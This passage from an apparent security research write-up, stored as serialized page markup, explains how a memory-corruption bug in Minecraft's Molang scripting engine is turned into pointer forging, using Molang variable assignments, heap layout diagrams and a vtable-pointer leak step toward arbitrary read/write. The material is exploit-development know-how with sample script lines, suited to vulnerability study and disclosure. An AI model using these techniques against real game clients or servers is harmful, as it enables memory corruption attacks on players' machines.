",{"type":25,"tag":82,"props":157827,"children":157829},{"className":157828},[],[157830],{"type":31,"value":36713},{"type":31,"value":157832}," field of ",{"type":25,"tag":82,"props":157834,"children":157836},{"className":157835},[],[157837],{"type":31,"value":156743},{"type":31,"value":19395},{"type":25,"tag":82,"props":157840,"children":157842},{"className":157841},[],[157843],{"type":31,"value":61895},{"type":31,"value":157845},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":25,"tag":82,"props":157847,"children":157849},{"className":157848},[],[157850],{"type":31,"value":43109},{"type":31,"value":157852}," field remain unchanged before and after Molang execution.",{"type":25,"tag":38,"props":157854,"children":157855},{},[157856,157858,157863],{"type":31,"value":157857},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":25,"tag":82,"props":157859,"children":157861},{"className":157860},[],[157862],{"type":31,"value":156851},{"type":31,"value":157864},"’s allocated buffer + 4.",{"type":25,"tag":38,"props":157866,"children":157867},{},[157868,157870,157875,157877,157882,157884,157889,157890,157896],{"type":31,"value":157869},"In the example below, ",{"type":25,"tag":82,"props":157871,"children":157873},{"className":157872},[],[157874],{"type":31,"value":157277},{"type":31,"value":157876}," points to ",{"type":25,"tag":82,"props":157878,"children":157880},{"className":157879},[],[157881],{"type":31,"value":156851},{"type":31,"value":157883},", while ",{"type":25,"tag":82,"props":157885,"children":157887},{"className":157886},[],[157888],{"type":31,"value":157291},{"type":31,"value":157876},{"type":25,"tag":82,"props":157891,"children":157893},{"className":157892},[],[157894],{"type":31,"value":157895},"MolangVariableMap + 4",{"type":31,"value":1466},{"type":25,"tag":206,"props":157898,"children":157900},{"code":157899},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[157901],{"type":25,"tag":82,"props":157902,"children":157903},{"__ignoreMap":7},[157904],{"type":31,"value":157899},{"type":25,"tag":38,"props":157906,"children":157907},{},[157908,157910,157915,157916,157921,157923,157928,157930,157935,157937,157942],{"type":31,"value":157909},"Here, the ",{"type":25,"tag":82,"props":157911,"children":157913},{"className":157912},[],[157914],{"type":31,"value":43109},{"type":31,"value":157832},{"type":25,"tag":82,"props":157917,"children":157919},{"className":157918},[],[157920],{"type":31,"value":157277},{"type":31,"value":157922}," starts at the lower 32 bits of the ",{"type":25,"tag":82,"props":157924,"children":157926},{"className":157925},[],[157927],{"type":31,"value":157347},{"type":31,"value":157929}," pointer, while ",{"type":25,"tag":82,"props":157931,"children":157933},{"className":157932},[],[157934],{"type":31,"value":157291},{"type":31,"value":157936}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":25,"tag":82,"props":157938,"children":157940},{"className":157939},[],[157941],{"type":31,"value":157347},{"type":31,"value":157943}," pointer in a separate variable:",{"type":25,"tag":206,"props":157945,"children":157947},{"code":157946},"variable.saved_upper_32 = variable.b;\n",[157948],{"type":25,"tag":82,"props":157949,"children":157950},{"__ignoreMap":7},[157951],{"type":31,"value":157946},{"type":25,"tag":38,"props":157953,"children":157954},{},[157955],{"type":31,"value":157956},"Then we can modify the lower 32 bits of the pointer:",{"type":25,"tag":206,"props":157958,"children":157960},{"code":157959},"variable.a = variable.a + itof(0x8);\n",[157961],{"type":25,"tag":82,"props":157962,"children":157963},{"__ignoreMap":7},[157964],{"type":31,"value":157959},{"type":25,"tag":38,"props":157966,"children":157967},{},[157968],{"type":31,"value":157969},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":25,"tag":206,"props":157971,"children":157973},{"code":157972},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[157974],{"type":25,"tag":82,"props":157975,"children":157976},{"__ignoreMap":7},[157977],{"type":31,"value":157972},{"type":25,"tag":38,"props":157979,"children":157980},{},[157981,157983,157988],{"type":31,"value":157982},"Since the 32 bits directly below the ",{"type":25,"tag":82,"props":157984,"children":157986},{"className":157985},[],[157987],{"type":31,"value":43109},{"type":31,"value":157989}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":25,"tag":206,"props":157991,"children":157993},{"code":157992},"variable.b = variable.saved_upper_32;\n",[157994],{"type":25,"tag":82,"props":157995,"children":157996},{"__ignoreMap":7},[157997],{"type":31,"value":157992},{"type":25,"tag":38,"props":157999,"children":158000},{},[158001,158003,158008],{"type":31,"value":158002},"Now ",{"type":25,"tag":82,"props":158004,"children":158006},{"className":158005},[],[158007],{"type":31,"value":157347},{"type":31,"value":158009}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":25,"tag":206,"props":158011,"children":158013},{"code":158012},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[158014],{"type":25,"tag":82,"props":158015,"children":158016},{"__ignoreMap":7},[158017],{"type":31,"value":158012},{"type":25,"tag":38,"props":158019,"children":158020},{},[158021,158023,158028],{"type":31,"value":158022},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":25,"tag":82,"props":158024,"children":158026},{"className":158025},[],[158027],{"type":31,"value":157895},{"type":31,"value":158029}," on the heap?",{"type":25,"tag":38,"props":158031,"children":158032},{},[158033,158035,158040,158042,158048],{"type":31,"value":158034},"Additionally, adding 8 to ",{"type":25,"tag":82,"props":158036,"children":158038},{"className":158037},[],[158039],{"type":31,"value":157277},{"type":31,"value":158041}," in the example above wouldn’t work because ",{"type":25,"tag":82,"props":158043,"children":158045},{"className":158044},[],[158046],{"type":31,"value":158047},"0xddccbba0",{"type":31,"value":158049}," is not a valid float. So the first issue still remains unresolved.",{"type":25,"tag":631,"props":158051,"children":158053},{"id":158052},"the-final-approach",[158054],{"type":31,"value":158055},"The Final Approach",{"type":25,"tag":38,"props":158057,"children":158058},{},[158059,158061,158066,158068,158074],{"type":31,"value":158060},"We realized that instead of having the second pointer at ",{"type":25,"tag":82,"props":158062,"children":158064},{"className":158063},[],[158065],{"type":31,"value":157895},{"type":31,"value":158067},", we could instead have it at ",{"type":25,"tag":82,"props":158069,"children":158071},{"className":158070},[],[158072],{"type":31,"value":158073},"MolangVariableMap + 2",{"type":31,"value":158075},", which would resolve both of our issues.",{"type":25,"tag":38,"props":158077,"children":158078},{},[158079,158081,158086,158087,158092],{"type":31,"value":158080},"Let’s revisit the previous example, but this time ",{"type":25,"tag":82,"props":158082,"children":158084},{"className":158083},[],[158085],{"type":31,"value":157291},{"type":31,"value":157876},{"type":25,"tag":82,"props":158088,"children":158090},{"className":158089},[],[158091],{"type":31,"value":158073},{"type":31,"value":1466},{"type":25,"tag":206,"props":158094,"children":158096},{"code":158095},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[158097],{"type":25,"tag":82,"props":158098,"children":158099},{"__ignoreMap":7},[158100],{"type":31,"value":158095},{"type":25,"tag":38,"props":158102,"children":158103},{},[158104,158106,158111],{"type":31,"value":158105},"With this setup, we can calculate any address relative to ",{"type":25,"tag":82,"props":158107,"children":158109},{"className":158108},[],[158110],{"type":31,"value":157347},{"type":31,"value":158112}," by first saving the upper 48 bits of the address:",{"type":25,"tag":206,"props":158114,"children":158116},{"code":158115},"variable.saved_upper_48 = variable.b;\n",[158117],{"type":25,"tag":82,"props":158118,"children":158119},{"__ignoreMap":7},[158120],{"type":31,"value":158115},{"type":25,"tag":38,"props":158122,"children":158123},{},[158124,158125,158131,158133,158139],{"type":31,"value":133756},{"type":25,"tag":82,"props":158126,"children":158128},{"className":158127},[],[158129],{"type":31,"value":158130},"variable.saved_upper_48",{"type":31,"value":158132}," holds the value ",{"type":25,"tag":82,"props":158134,"children":158136},{"className":158135},[],[158137],{"type":31,"value":158138},"0x1c80ddcc",{"type":31,"value":179},{"type":25,"tag":38,"props":158141,"children":158142},{},[158143],{"type":31,"value":158144},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":25,"tag":206,"props":158146,"children":158148},{"code":158147},"variable.b = 0;\n",[158149],{"type":25,"tag":82,"props":158150,"children":158151},{"__ignoreMap":7},[158152],{"type":31,"value":158147},{"type":25,"tag":38,"props":158154,"children":158155},{},[158156],{"type":31,"value":158157},"Resulting in the following state:",{"type":25,"tag":206,"props":158159,"children":158161},{"code":158160},"                   +-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[158162],{"type":25,"tag":82,"props":158163,"children":158164},{"__ignoreMap":7},[158165],{"type":31,"value":158160},{"type":25,"tag":38,"props":158167,"children":158168},{},[158169,158171,158176,158178,158184,158186,158191],{"type":31,"value":158170},"Now, the value of ",{"type":25,"tag":82,"props":158172,"children":158174},{"className":158173},[],[158175],{"type":31,"value":157277},{"type":31,"value":158177}," only spans 16 bits (",{"type":25,"tag":82,"props":158179,"children":158181},{"className":158180},[],[158182],{"type":31,"value":158183},"0xbba0",{"type":31,"value":158185}," specifically), which is always a valid float since it’s far below ",{"type":25,"tag":82,"props":158187,"children":158189},{"className":158188},[],[158190],{"type":31,"value":157775},{"type":31,"value":179},{"type":25,"tag":38,"props":158193,"children":158194},{},[158195,158197,158202],{"type":31,"value":158196},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":25,"tag":82,"props":158198,"children":158200},{"className":158199},[],[158201],{"type":31,"value":157277},{"type":31,"value":1466},{"type":25,"tag":206,"props":158204,"children":158205},{"code":157959},[158206],{"type":25,"tag":82,"props":158207,"children":158208},{"__ignoreMap":7},[158209],{"type":31,"value":157959},{"type":25,"tag":38,"props":158211,"children":158212},{},[158213],{"type":31,"value":158214},"Which results in:",{"type":25,"tag":206,"props":158216,"children":158218},{"code":158217},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[158219],{"type":25,"tag":82,"props":158220,"children":158221},{"__ignoreMap":7},[158222],{"type":31,"value":158217},{"type":25,"tag":38,"props":158224,"children":158225},{},[158226],{"type":31,"value":158227},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":25,"tag":206,"props":158229,"children":158231},{"code":158230},"variable.b = variable.saved_upper_48;\n",[158232],{"type":25,"tag":82,"props":158233,"children":158234},{"__ignoreMap":7},[158235],{"type":31,"value":158230},{"type":25,"tag":38,"props":158237,"children":158238},{},[158239],{"type":31,"value":158240},"Yielding a valid pointer again:",{"type":25,"tag":206,"props":158242,"children":158244},{"code":158243},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[158245],{"type":25,"tag":82,"props":158246,"children":158247},{"__ignoreMap":7},[158248],{"type":31,"value":158243},{"type":25,"tag":38,"props":158250,"children":158251},{},[158252],{"type":31,"value":158253},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":25,"tag":206,"props":158255,"children":158257},{"code":158256},"variable.saved_adjusted_lower_16 = variable.a;\n",[158258],{"type":25,"tag":82,"props":158259,"children":158260},{"__ignoreMap":7},[158261],{"type":31,"value":158256},{"type":25,"tag":38,"props":158263,"children":158264},{},[158265],{"type":31,"value":158266},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":25,"tag":206,"props":158268,"children":158270},{"code":158269},"variable.a = variable.saved_upper_48;\n",[158271],{"type":25,"tag":82,"props":158272,"children":158273},{"__ignoreMap":7},[158274],{"type":31,"value":158269},{"type":25,"tag":38,"props":158276,"children":158277},{},[158278],{"type":31,"value":158279},"This produces the following state:",{"type":25,"tag":206,"props":158281,"children":158283},{"code":158282},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[158284],{"type":25,"tag":82,"props":158285,"children":158286},{"__ignoreMap":7},[158287],{"type":31,"value":158282},{"type":25,"tag":38,"props":158289,"children":158290},{},[158291,158293,158298,158300,158306,158308,158314,158316,158321,158323,158328],{"type":31,"value":158292},"As shown, ",{"type":25,"tag":82,"props":158294,"children":158296},{"className":158295},[],[158297],{"type":31,"value":157291},{"type":31,"value":158299}," now contains the upper 16 bits of the address (",{"type":25,"tag":82,"props":158301,"children":158303},{"className":158302},[],[158304],{"type":31,"value":158305},"0x1c80",{"type":31,"value":158307},"), which we can store as ",{"type":25,"tag":82,"props":158309,"children":158311},{"className":158310},[],[158312],{"type":31,"value":158313},"variable.saved_upper_16 = variable.b",{"type":31,"value":158315},". Meanwhile, ",{"type":25,"tag":82,"props":158317,"children":158319},{"className":158318},[],[158320],{"type":31,"value":157277},{"type":31,"value":158322}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":25,"tag":82,"props":158324,"children":158326},{"className":158325},[],[158327],{"type":31,"value":157291},{"type":31,"value":1466},{"type":25,"tag":206,"props":158330,"children":158331},{"code":158147},[158332],{"type":25,"tag":82,"props":158333,"children":158334},{"__ignoreMap":7},[158335],{"type":31,"value":158147},{"type":25,"tag":38,"props":158337,"children":158338},{},[158339],{"type":31,"value":158340},"Leaving us with:",{"type":25,"tag":206,"props":158342,"children":158344},{"code":158343},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[158345],{"type":25,"tag":82,"props":158346,"children":158347},{"__ignoreMap":7},[158348],{"type":31,"value":158343},{"type":25,"tag":38,"props":158350,"children":158351},{},[158352],{"type":31,"value":158353},"We can now save the middle 16 bits:",{"type":25,"tag":206,"props":158355,"children":158357},{"code":158356},"variable.saved_middle_16 = variable.a;\n",[158358],{"type":25,"tag":82,"props":158359,"children":158360},{"__ignoreMap":7},[158361],{"type":31,"value":158356},{"type":25,"tag":38,"props":158363,"children":158364},{},[158365],{"type":31,"value":158366},"At this point, we have:",{"type":25,"tag":206,"props":158368,"children":158370},{"code":158369},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[158371],{"type":25,"tag":82,"props":158372,"children":158373},{"__ignoreMap":7},[158374],{"type":31,"value":158369},{"type":25,"tag":38,"props":158376,"children":158377},{},[158378],{"type":31,"value":158379},"All three parts are valid float values, ensuring deterministic calculations.",{"type":25,"tag":38,"props":158381,"children":158382},{},[158383],{"type":31,"value":158384},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":25,"tag":206,"props":158386,"children":158388},{"code":158387},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[158389],{"type":25,"tag":82,"props":158390,"children":158391},{"__ignoreMap":7},[158392],{"type":31,"value":158387},{"type":25,"tag":38,"props":158394,"children":158395},{},[158396],{"type":31,"value":158397},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":25,"tag":206,"props":158399,"children":158401},{"code":158400},"variable.a = variable.saved_adjusted_middle_16;\n",[158402],{"type":25,"tag":82,"props":158403,"children":158404},{"__ignoreMap":7},[158405],{"type":31,"value":158400},{"type":25,"tag":38,"props":158407,"children":158408},{},[158409,158411,158416,158417,158423,158424,158430],{"type":31,"value":158410},"Setting ",{"type":25,"tag":82,"props":158412,"children":158414},{"className":158413},[],[158415],{"type":31,"value":157277},{"type":31,"value":60738},{"type":25,"tag":82,"props":158418,"children":158420},{"className":158419},[],[158421],{"type":31,"value":158422},"0xddcd",{"type":31,"value":7010},{"type":25,"tag":82,"props":158425,"children":158427},{"className":158426},[],[158428],{"type":31,"value":158429},"0xddcc + 1",{"type":31,"value":158431},"), and then:",{"type":25,"tag":206,"props":158433,"children":158435},{"code":158434},"variable.b = variable.saved_adjusted_upper_16;\n",[158436],{"type":25,"tag":82,"props":158437,"children":158438},{"__ignoreMap":7},[158439],{"type":31,"value":158434},{"type":25,"tag":38,"props":158441,"children":158442},{},[158443,158445,158450,158452,158458,158459,158465],{"type":31,"value":158444},"Resulting in ",{"type":25,"tag":82,"props":158446,"children":158448},{"className":158447},[],[158449],{"type":31,"value":157291},{"type":31,"value":158451}," value becoming ",{"type":25,"tag":82,"props":158453,"children":158455},{"className":158454},[],[158456],{"type":31,"value":158457},"0x1c81",{"type":31,"value":7010},{"type":25,"tag":82,"props":158460,"children":158462},{"className":158461},[],[158463],{"type":31,"value":158464},"0x1c80 + 1",{"type":31,"value":27897},{"type":25,"tag":206,"props":158467,"children":158469},{"code":158468},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[158470],{"type":25,"tag":82,"props":158471,"children":158472},{"__ignoreMap":7},[158473],{"type":31,"value":158468},{"type":25,"tag":38,"props":158475,"children":158476},{},[158477],{"type":31,"value":158478},"Now we save the adjusted upper 48 bits:",{"type":25,"tag":206,"props":158480,"children":158482},{"code":158481},"variable.saved_adjusted_upper_48 = variable.a;\n",[158483],{"type":25,"tag":82,"props":158484,"children":158485},{"__ignoreMap":7},[158486],{"type":31,"value":158481},{"type":25,"tag":38,"props":158488,"children":158489},{},[158490],{"type":31,"value":158491},"Finally, we attach the lower 16 bits:",{"type":25,"tag":206,"props":158493,"children":158495},{"code":158494},"variable.a = variable.saved_adjusted_lower_16;\n",[158496],{"type":25,"tag":82,"props":158497,"children":158498},{"__ignoreMap":7},[158499],{"type":31,"value":158494},{"type":25,"tag":206,"props":158501,"children":158503},{"code":158502},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[158504],{"type":25,"tag":82,"props":158505,"children":158506},{"__ignoreMap":7},[158507],{"type":31,"value":158502},{"type":25,"tag":38,"props":158509,"children":158510},{},[158511],{"type":31,"value":158512},"And by setting:",{"type":25,"tag":206,"props":158514,"children":158516},{"code":158515},"variable.b = variable.saved_adjusted_upper_48;\n",[158517],{"type":25,"tag":82,"props":158518,"children":158519},{"__ignoreMap":7},[158520],{"type":31,"value":158515},{"type":25,"tag":38,"props":158522,"children":158523},{},[158524],{"type":31,"value":158525},"We forge the final adjusted pointer:",{"type":25,"tag":206,"props":158527,"children":158529},{"code":158528},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[158530],{"type":25,"tag":82,"props":158531,"children":158532},{"__ignoreMap":7},[158533],{"type":31,"value":158528},{"type":25,"tag":22747,"props":158535,"children":158536},{},[],{"type":25,"tag":38,"props":158538,"children":158539},{},[158540,158542,158547],{"type":31,"value":158541},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":25,"tag":82,"props":158543,"children":158545},{"className":158544},[],[158546],{"type":31,"value":158073},{"type":31,"value":158029},{"type":25,"tag":38,"props":158549,"children":158550},{},[158551,158553,158558,158560,158565,158567,158573,158575,158580],{"type":31,"value":158552},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":25,"tag":82,"props":158554,"children":158556},{"className":158555},[],[158557],{"type":31,"value":158073},{"type":31,"value":158559},". Instead, we need any two pointers on the heap - one pointing to ",{"type":25,"tag":82,"props":158561,"children":158563},{"className":158562},[],[158564],{"type":31,"value":34642},{"type":31,"value":158566}," and the other to ",{"type":25,"tag":82,"props":158568,"children":158570},{"className":158569},[],[158571],{"type":31,"value":158572},"addr + 2",{"type":31,"value":158574}," (as long as ",{"type":25,"tag":82,"props":158576,"children":158578},{"className":158577},[],[158579],{"type":31,"value":34642},{"type":31,"value":158581}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":25,"tag":38,"props":158583,"children":158584},{},[158585,158587,158592,158593,158598],{"type":31,"value":158586},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":25,"tag":82,"props":158588,"children":158590},{"className":158589},[],[158591],{"type":31,"value":154047},{"type":31,"value":157832},{"type":25,"tag":82,"props":158594,"children":158596},{"className":158595},[],[158597],{"type":31,"value":156851},{"type":31,"value":158599}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":25,"tag":206,"props":158601,"children":158603},{"code":158602},"variable.corrupted_var_map_ptr = variable.a;\n",[158604],{"type":25,"tag":82,"props":158605,"children":158606},{"__ignoreMap":7},[158607],{"type":31,"value":158602},{"type":25,"tag":38,"props":158609,"children":158610},{},[158611,158613,158618,158620,158626],{"type":31,"value":158612},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":25,"tag":82,"props":158614,"children":158616},{"className":158615},[],[158617],{"type":31,"value":43109},{"type":31,"value":158619}," field (in this case, the reconstructed pointer) and writes it to ",{"type":25,"tag":82,"props":158621,"children":158623},{"className":158622},[],[158624],{"type":31,"value":158625},"variable.corrupted_var_map_ptr",{"type":31,"value":158627},", even though the type itself is only a 32-bit float.",{"type":25,"tag":631,"props":158629,"children":158631},{"id":158630},"finding-misaligned-pointers",[158632],{"type":31,"value":158633},"Finding Misaligned Pointers",{"type":25,"tag":38,"props":158635,"children":158636},{},[158637,158639,158644,158645,158651],{"type":31,"value":158638},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":25,"tag":82,"props":158640,"children":158642},{"className":158641},[],[158643],{"type":31,"value":17900},{"type":31,"value":1301},{"type":25,"tag":82,"props":158646,"children":158648},{"className":158647},[],[158649],{"type":31,"value":158650},"ptr + 2",{"type":31,"value":158652},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":25,"tag":38,"props":158654,"children":158655},{},[158656,158661,158662,158667,158669,158674,158676,158681,158683,158688,158690,158695,158697,158703,158704,158709],{"type":25,"tag":82,"props":158657,"children":158659},{"className":158658},[],[158660],{"type":31,"value":157027},{"type":31,"value":19395},{"type":25,"tag":82,"props":158663,"children":158665},{"className":158664},[],[158666],{"type":31,"value":157050},{"type":31,"value":158668}," found inside every entity object. As noted earlier, a ",{"type":25,"tag":82,"props":158670,"children":158672},{"className":158671},[],[158673],{"type":31,"value":156881},{"type":31,"value":158675}," contains three pointers: ",{"type":25,"tag":82,"props":158677,"children":158679},{"className":158678},[],[158680],{"type":31,"value":154047},{"type":31,"value":158682}," (the start of the allocated buffer), ",{"type":25,"tag":82,"props":158684,"children":158686},{"className":158685},[],[158687],{"type":31,"value":13088},{"type":31,"value":158689}," (just past the last element) and ",{"type":25,"tag":82,"props":158691,"children":158693},{"className":158692},[],[158694],{"type":31,"value":156980},{"type":31,"value":158696}," (the end of the allocated buffer). Because the element type is ",{"type":25,"tag":82,"props":158698,"children":158700},{"className":158699},[],[158701],{"type":31,"value":158702},"uint16_t",{"type":31,"value":106249},{"type":25,"tag":82,"props":158705,"children":158707},{"className":158706},[],[158708],{"type":31,"value":13088},{"type":31,"value":158710}," pointer advances by 2 bytes each time a new element is added.",{"type":25,"tag":38,"props":158712,"children":158713},{},[158714,158716,158721,158723,158729],{"type":31,"value":158715},"We can make the ",{"type":25,"tag":82,"props":158717,"children":158719},{"className":158718},[],[158720],{"type":31,"value":13088},{"type":31,"value":158722}," pointer equal to ",{"type":25,"tag":82,"props":158724,"children":158726},{"className":158725},[],[158727],{"type":31,"value":158728},"cap - 2",{"type":31,"value":158730}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":25,"tag":206,"props":158732,"children":158734},{"code":158733},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[158735],{"type":25,"tag":82,"props":158736,"children":158737},{"__ignoreMap":7},[158738],{"type":31,"value":158733},{"type":25,"tag":22747,"props":158740,"children":158741},{},[],{"type":25,"tag":38,"props":158743,"children":158744},{},[158745,158747,158752,158754,158759,158761,158766,158768,158773,158774,158779],{"type":31,"value":158746},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":25,"tag":82,"props":158748,"children":158750},{"className":158749},[],[158751],{"type":31,"value":154047},{"type":31,"value":158753}," pointer of ",{"type":25,"tag":82,"props":158755,"children":158757},{"className":158756},[],[158758],{"type":31,"value":156851},{"type":31,"value":158760}," in the entity object above, one that would index ",{"type":25,"tag":82,"props":158762,"children":158764},{"className":158763},[],[158765],{"type":31,"value":13088},{"type":31,"value":158767}," and the final ",{"type":25,"tag":82,"props":158769,"children":158771},{"className":158770},[],[158772],{"type":31,"value":156980},{"type":31,"value":158753},{"type":25,"tag":82,"props":158775,"children":158777},{"className":158776},[],[158778],{"type":31,"value":157027},{"type":31,"value":158780}," also in the same entity object above.",{"type":25,"tag":38,"props":158782,"children":158783},{},[158784,158786,158792,158793,158799,158801,158806,158807,158812,158814,158819,158821,158826,158827,158832,158834,158839],{"type":31,"value":158785},"The corrupted variables ",{"type":25,"tag":82,"props":158787,"children":158789},{"className":158788},[],[158790],{"type":31,"value":158791},"variable.corrupted_len_ptr",{"type":31,"value":1301},{"type":25,"tag":82,"props":158794,"children":158796},{"className":158795},[],[158797],{"type":31,"value":158798},"variable.corrupted_cap_ptr",{"type":31,"value":158800}," point to ",{"type":25,"tag":82,"props":158802,"children":158804},{"className":158803},[],[158805],{"type":31,"value":13088},{"type":31,"value":1301},{"type":25,"tag":82,"props":158808,"children":158810},{"className":158809},[],[158811],{"type":31,"value":156980},{"type":31,"value":158813},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":25,"tag":82,"props":158815,"children":158817},{"className":158816},[],[158818],{"type":31,"value":158625},{"type":31,"value":158820},", points to the ",{"type":25,"tag":82,"props":158822,"children":158824},{"className":158823},[],[158825],{"type":31,"value":154047},{"type":31,"value":157832},{"type":25,"tag":82,"props":158828,"children":158830},{"className":158829},[],[158831],{"type":31,"value":156851},{"type":31,"value":158833},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":25,"tag":82,"props":158835,"children":158837},{"className":158836},[],[158838],{"type":31,"value":156851},{"type":31,"value":158840},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":25,"tag":38,"props":158842,"children":158843},{},[158844],{"type":31,"value":158845},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":25,"tag":631,"props":158847,"children":158849},{"id":158848},"leaking-pointers",[158850],{"type":31,"value":158851},"Leaking Pointers",{"type":25,"tag":38,"props":158853,"children":158854},{},[158855,158857,158863],{"type":31,"value":158856},"In C++, an object’s first field is typically a ",{"type":25,"tag":82,"props":158858,"children":158860},{"className":158859},[],[158861],{"type":31,"value":158862},"vtable",{"type":31,"value":158864}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":25,"tag":206,"props":158866,"children":158868},{"code":158867},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      